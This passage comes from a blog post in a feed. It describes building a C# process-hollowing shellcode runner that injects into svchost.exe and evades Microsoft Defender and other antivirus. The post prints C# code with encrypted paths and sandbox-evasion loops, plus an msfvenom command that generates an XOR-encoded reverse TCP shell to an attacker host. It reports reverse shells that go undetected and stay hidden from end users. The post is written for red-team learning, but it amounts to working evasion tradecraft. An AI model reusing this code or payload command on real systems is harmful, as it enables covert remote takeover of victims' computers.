            <span class="n">iv</span> <span class="p">=</span> <span class="n">FilepathEncryptor</span><span class="p">.</span><span class="nf">GenerateRandomIV</span><span class="p">();</span> <span class="c1">// Generate a random IV</span>
            <span class="c1">// Plain-text file path</span>
            <span class="kt">string</span> <span class="n">plainTextPath</span> <span class="p">=</span> <span class="s">"C:\\Windows\\System32\\svchost.exe"</span><span class="p">;</span>
            <span class="c1">// Encrypt the plain-text file path using the dynamic encryption key and IV</span>
            <span class="kt">string</span> <span class="n">encryptedPath</span> <span class="p">=</span> <span class="n">FilepathEncryptor</span><span class="p">.</span><span class="nf">Encrypt</span><span class="p">(</span><span class="n">plainTextPath</span><span class="p">,</span> <span class="n">encryptionKey</span><span class="p">,</span> <span class="n">iv</span><span class="p">);</span>
            <span class="c1">// Run sandbox/emulation evasion first before executing our shellcode</span>
            <span class="c1">// Perform many iterations of for loop, 900 million, to trip up emulator</span>
            <span class="n">Evasion</span><span class="p">.</span><span class="nf">MI</span><span class="p">();</span>
            <span class="c1">// After evasion is performed, we finally call the runner</span>
            <span class="nf">Run</span><span class="p">(</span><span class="n">encryptedPath</span><span class="p">);</span>
        <span class="p">}</span>
</code></pre></div></div>

<p>I then tweaked the <strong>Run</strong> method so that the encrypted file path string is decrypted at runtime before being passed to <strong>CreateProcess</strong>:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="k">static</span> <span class="k">void</span> <span class="nf">Run</span><span class="p">(</span><span class="kt">string</span> <span class="n">encryptedPath</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="n">STARTUPINFO</span> <span class="n">si</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">STARTUPINFO</span><span class="p">();</span>
            <span class="n">PROCESS_INFORMATION</span> <span class="n">pi</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">PROCESS_INFORMATION</span><span class="p">();</span>
            <span class="c1">// Decrypt the file path before using it</span>
            <span class="kt">string</span> <span class="n">path</span> <span class="p">=</span> <span class="n">FilepathEncryptor</span><span class="p">.</span><span class="nf">Decrypt</span><span class="p">(</span><span class="n">encryptedPath</span><span class="p">,</span> <span class="n">encryptionKey</span><span class="p">,</span> <span class="n">iv</span><span class="p">);</span>
            <span class="kt">bool</span> <span class="n">res</span> <span class="p">=</span> <span class="nf">F1</span><span class="p">(</span><span class="k">null</span><span class="p">,</span> <span class="n">path</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span>
                <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="k">false</span><span class="p">,</span> <span class="m">0x4</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="k">null</span><span class="p">,</span> <span class="k">ref</span> <span class="n">si</span><span class="p">,</span> <span class="k">out</span> <span class="n">pi</span><span class="p">);</span>
</code></pre></div></div>

<p>Unfortunately, this led to the same results as before:</p>

<p><img src="/assets/images/enc-path-results-678x1024.png" alt="enc-path-results" /></p>

<h3 id="the-compromise">The Compromise</h3>

<blockquote>
  <p>“The opposite of compromise is fanaticism and death.”</p>

  <p><strong>Amos Oz</strong></p>
</blockquote>

<p>Well, in my scenario, I’m not sure about the death part, but I am undoubtedly fanatical when it comes to achieving a goal.</p>

<p>While I had hoped to get the shellcode runner to be completely undetected without using a third-party obfuscator, I was ultimately unsuccessful.</p>

<p>This wasn’t for a lack of trying.</p>

<p>However, each of my attempts to isolate and obfuscate what was triggering IKARUS within my program was met with failure.</p>

<p>I do believe that further research on implementing extensive manual obfuscation of the code would lead to bypassing IKARUS.</p>

<p>Instead, I opted to maintain my sanity and rely on third-party obfuscation to overcome the last hurdle.</p>

<p>Implementing that level of obfuscation would require more time and resources than I had to give to this project.</p>

<p>After obfuscating the version of the shellcode runner that utilizes string concatenation with only the default settings in Babel, I was able to remain undetected by IKARUS:</p>

<p><img src="/assets/images/fud-babel-obf-string-concat-679x1024.png" alt="fud-babel-obf-string-concat" /></p>

<p>I achieved the same results with the version that AES encrypts the file path string using the default obfuscation settings in Babel:</p>

<p><img src="/assets/images/fud-babel-obf-enc-path-results-739x1024.png" alt="fud-babel-obf-enc-path-results" /></p>

<h2 id="defeating-defender-️️">Defeating Defender ⚔️🛡️</h2>

<p>I knew I was undetectable at scan-time, but now it was time to confirm if this would hold up at runtime.</p>

<p>My primary target was Microsoft Defender, as this is by far the most widely utilized antivirus.</p>

<p>Given that I had already managed to bypass Microsoft Defender without a third-party obfuscator, I conducted this testing using versions of the PE that were <strong>NOT</strong> obfuscated with third-party software.</p>

<p>Specifically, the testing and demonstrations shown below were conducted with the version of the shellcode runner that utilizes custom delegate functions and performs string concatenation on the <code class="language-plaintext highlighter-rouge">C:\Windows\System32\svchost.exe</code> file path string.</p>

<p>No third-party obfuscation software was used.</p>

<h3 id="setting-up-the-lab">Setting Up the Lab</h3>

<p>I configured my lab using Oracle VirtualBox.</p>

<p>The lab contained two virtual machines.</p>

<p>The attacking machine:</p>

<p><strong><em>Kali Linux VM</em></strong></p>

<p>The victim machine:</p>

<p><strong><em>Windows 11 Enterprise VM:</em></strong> fully updated/patched and running on the latest build for 22H2 as of the time of writing:</p>

<p><img src="/assets/images/win11-build-768x228.png" alt="win11-build" /></p>

<p>I attached both the Kali VM and Windows 11 VM to an internal network within VirtualBox:</p>

<p><img src="/assets/images/internal-network-vbox.png" alt="internal-network-vbox" /></p>

<p>This allowed both virtual machines to communicate with each other and, more importantly, did not allow either to reach the internet.</p>

<p>Restricting the internet access for the Windows 11 VM was a necessary precaution, as I certainly didn’t want it submitting samples if it did manage to detect the shellcode runner.</p>

<p>Additionally, I turned both “Automatic sample submission” and “Cloud-delivered protection” off in the Defender settings:</p>

<p><img src="/assets/images/auto-sample-submit-turned-off.png" alt="auto-sample-submit-turned-off" /></p>

<p><img src="/assets/images/cloud-delivered-prot-turned-off.png" alt="cloud-delivered-prot-turned-off" /></p>

<p>I also set an exclusion in Defender for the shared folder containing the PE files.</p>

<p>This was to aid in testing when transferring files to the Windows 11 VM:</p>

<p><img src="/assets/images/shared-folder-exclusion-768x312.png" alt="shared-folder-exclusion" /></p>

<p>“Real-time protection” was enabled, and all other Microsoft Defender settings were left unmodified:</p>

<p><img src="/assets/images/rtp-enabled.png" alt="rtp-enabled" /></p>

<p>I transferred the shellcode runner from the shared folder, which was excluded from scanning, to the Desktop:</p>

<p><img src="/assets/images/string-concat-pe-in-shared-folder-768x391.png" alt="string-concat-pe-in-shared-folder" /></p>

<p><img src="/assets/images/string-concat-pe-in-desktop-768x394.png" alt="string-concat-pe-in-desktop" /></p>

<p>With the shellcode runner placed directly in the Desktop, running a “Quick Scan” with Microsoft Defender results in no detection!</p>

<p><img src="/assets/images/no-detection-quick-scan.png" alt="no-detection-quick-scan" /></p>

<p>Time to test against runtime…</p>

<p>I configured the Kali VM and Windows 11 VM with a static IPv4 address on the internal network.</p>

<p>Kali VM: <strong>192.168.1.2</strong></p>

<p>Windows 11 VM: <strong>192.168.1.3</strong></p>

<p><img src="/assets/images/met-rev-https-def-tsk-mgr.gif" alt="met-rev-https-def-tsk-mgr" /></p>

<p>Success!</p>

<p>The reverse shell pops without being detected by Defender!</p>

<p>Additionally, I confirm that the process hollowing injection for svchost.exe worked.</p>

<p>Retrieving the PID (1428) from Meterpreter using the <strong>getpid</strong> command and searching for the corresponding PID in Task Manager shows that I have successfully hidden within the svchost.exe process.</p>

<p>However, there is one more problem to solve…</p>

<p>While the shellcode runner executes and I receive a reverse shell without triggering Defender, if a scan is run <em>while</em> the Meterpreter session is active, Defender will detect the behavior of the Meterpreter code running within the hollowed-out svchost.exe process:</p>

<p><img src="/assets/images/met-svchost-detected.gif" alt="met-svchost-detected" /></p>

<p><img src="/assets/images/details-met-svchost-detection.png" alt="details-met-svchost-detection" /></p>

<p>However, there is a simple solution to this problem…</p>

<p>Get rid of Meterpreter.</p>

<h3 id="fud-demo">Fully Undetectable Process Hollowing on Windows 🥷</h3>

<p>By simply swapping out the Meterpreter payload in the shellcode runner with a non-meterpreter payload, I could successfully fly under the radar, even while on-demand scanning is performed.</p>

<p>The payload I chose was:</p>

<p><strong><code class="language-plaintext highlighter-rouge">windows/x64/shell/reverse_tcp</code></strong></p>

<p><code class="language-plaintext highlighter-rouge">msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.1.2 LPORT=443 EXITFUNC=thread -f csharp --encrypt xor --encrypt-key z -i 20 | tr -d '\n\r'</code></p>

<p>After swapping out the payload, I transferred the new version of the shellcode runner named “HollowGhostTcp” to the Windows 11 VM and tested it:</p>

<p><img src="/assets/images/scan-time-undetected-both-runners.gif" alt="scan-time-undetected-both-runners" /></p>

<p>Once again, both versions of the shellcode runner remained undetected during scan-time.</p>

<h4 id="testing-at-runtime">Testing at Runtime</h4>

<p><img src="/assets/images/clearer-tcp-undetected-runtime-tskmgr.gif" alt="clearer-tcp-undetected-runtime-tskmgr" /></p>

<p>The reverse shell is returned!</p>

<p>Viewing the PID (2596) of the newly created svchost.exe process with Process Hacker shows the child processes <em>cmd.exe</em> and <em>conhost.exe</em>.</p>

<p>But, searching for the PID of the svchost.exe process in Task Manager shows only the svchost.exe process.</p>

<p>Thus allowing me to remain undetected by end-users.</p>

<p><img src="/assets/images/centered-terminate-svchost-warning.png" alt="centered-terminate-svchost-warning" /></p>

<p>Additionally, the lovely little warning that Windows gives when you attempt to terminate a svchost.exe process may also help dissuade end-users. ;P</p>

<h4 id="fud-during-on-demand-scanning-with-shell">FUD During On-Demand Scanning With Shell</h4>

<p><img src="/assets/images/whoami-tcp-active-scan-undetected.gif" alt="whoami-tcp-active-scan-undetected" /></p>

<p>Victory! 🏆</p>

<p>After much experimentation, I was finally left with a process hollowing shellcode runner that is FUD against Microsoft Defender without using a third-party obfuscator.</p>

<p>The shellcode runner, which employs AES encryption to obfuscate the file path string, also remains FUD during on-demand scanning when using the payload:</p>

<p><strong><code class="language-plaintext highlighter-rouge">windows/x64/shell/reverse_tcp</code></strong></p>

<p><img src="/assets/images/enc-path-runner-fud-on-demand-scan.gif" alt="enc-path-runner-fud-on-demand-scan" /></p>

<h2 id="conclusion">Conclusion</h2>

<p>Creativity is the most essential weapon in any hacker’s arsenal in the ever-evolving arms race between attackers and defenders.</p>

<p>Tenacity is a close second.</p>

<p>Given the vast amount of signatures for Metasploit payloads, simple encryption won’t be enough to shake off most antivirus.</p>

<p>In the modern age of antivirus, advancements in emulation have led to the circumvention of many popular bypass techniques.</p>

<p>However, some antivirus vendors still need to improve in this regard.</p>

<p>In my testing, I found that Avast, Avira, AVG, Norman, and VirusFighter still seemed susceptible to the sandbox and emulator bypasses I used.</p>

<p>Third-party obfuscators can markedly improve detection ratings.</p>

<p>However, not using them as a crutch is a good idea.</p>

<h3 id="main-takeaway">Main Takeaway</h3>

<p>Utilizing custom delegate functions in C# is an excellent way to abstract and obfuscate the usage of Win32 API functions.</p>

<p>This remains an effective way of obfuscating Win32 API functions, even without using D/Invoke to abstract the P/Invoke imports.</p>

<p>This technique worked surprisingly well against Microsoft Defender, ESET NOD32, Acrabit, Alyac, Emsisoft, and G-Data.</p>]]></content><author><name>Logan Elliott</name></author><category term="Antivirus Evasion" /><category term="C#" /><category term="Injection" /><category term="Process Hollowing" /><category term="Windows" /><summary type="html"><![CDATA[This post details how I created a process hollowing shellcode runner that is fully undetectable by Microsoft Defender as of October 2023.]]></summary></entry></feed>